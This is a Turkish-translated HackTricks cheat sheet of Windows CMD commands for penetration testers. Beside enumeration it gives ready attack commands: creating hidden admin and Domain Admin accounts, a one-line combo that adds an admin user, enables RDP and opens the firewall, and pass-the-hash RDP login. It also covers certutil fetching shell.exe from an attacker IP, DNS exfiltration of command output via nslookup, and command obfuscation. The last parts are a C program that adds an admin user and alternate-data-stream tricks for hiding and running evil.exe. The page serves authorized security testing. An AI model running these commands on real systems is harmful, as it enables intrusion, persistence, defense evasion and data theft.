hacktricks/windows-hardening/basic-cmd-for-pentesters.md

# Temel Win CMD for Pentesters

<details>

<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>

* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'nı kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler gönderin** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Sistem bilgisi

### Sürüm ve Yama bilgisi
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?
```
### Ortam
```bash
set #List all environment variables
```
```markdown
Bazı çevresel değişkenler vurgulanmalıdır:

* **COMPUTERNAME**: Bilgisayarın adı
* **TEMP/TMP:** Geçici klasör
* **USERNAME:** Kullanıcı adınız
* **HOMEPATH/USERPROFILE:** Ana dizin
* **windir:** C:\Windows
* **OS**: Windows İşletim Sistemi
* **LOGONSERVER**: Alan denetleyicisinin adı
* **USERDNSDOMAIN**: DNS ile kullanılacak alan adı
* **USERDOMAIN**: Alanın adı
```
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
### Bağlanmış diskler
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [Defender](kimlik-doğrulama-bilgileri-uac-ve-efs/#defender)

### Geri Dönüşüm Kutusu
```bash
dir C:\$Recycle.Bin /s /b
```
### İşlemler, Hizmetler ve Yazılımlar
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
## Alan adı bilgisi
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### Günlükler ve Olaylar
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## Kullanıcılar ve Gruplar

### Kullanıcılar
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
### Gruplar
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
### Oturumları Listele
```
qwinsta
klist sessions
```
### Şifre Politikası
```
net accounts
```
### Kimlik Bilgileri
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### Kullanıcılarla Kalıcılık
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
## Ağ

### Arayüzler, Rotalar, Portlar, Ana Bilgisayarlar ve DNS Önbelleği
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
### Güvenlik Duvarı
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
### Paylaşımlar
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
### Wifi
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
### SNMP
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
### Ağ Arayüzleri
```bash
ipconfig /all
```
### ARP tablosu
```bash
arp -A
```
## İndirme

Bitsadmin.exe
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
`CertReq.exe` komutu, Windows işletim sisteminde sertifika istekleri oluşturmak ve yönetmek için kullanılan bir araçtır. Bu araç, sertifika yetkililerine (CA) sertifika isteklerini göndermek ve sertifikaları alma işlemlerini gerçekleştirmek için kullanılır.
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
```plaintext
Certutil.exe
```

---

```plaintext
Certutil.exe
```
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
**Daha fazlasını bulmak için** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) **adresinde `Download` araması yapın**

## Çeşitli
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
### Karakter Siyah Listesini Atlatma
```bash
echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami
```
### DOSfuscation

Bir obfuscated CMD satırı oluşturur
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```
### Dinleme adresi ACL'leri

Yönetici olmadan [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) üzerinde dinleyebilirsiniz.
```bash
netsh http show urlacl
```
### Manuel DNS kabuğu

**Saldırgan** (Kali), bu 2 seçenekten birini kullanmalıdır:
```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
#### Kurban

**`for /f tokens`** tekniği: Bu, komutları yürütmeye, her satırın ilk X kelimesini alıp bunu DNS aracılığıyla sunucumuza göndermeye olanak tanır.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
Ayrıca çıktıyı **yeniden yönlendirebilirsiniz (redirect)** ve ardından **okuyabilirsiniz (read)**.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
## C kodundan CMD'yi çağırmak
```c
#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
## Alternatif Veri Akışları Hile Kağıdı (ADS/Alternatif Veri Akışı)

**Örnekler alınmıştır** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Orada çok daha fazlası var!**
```bash
## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<details>

<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>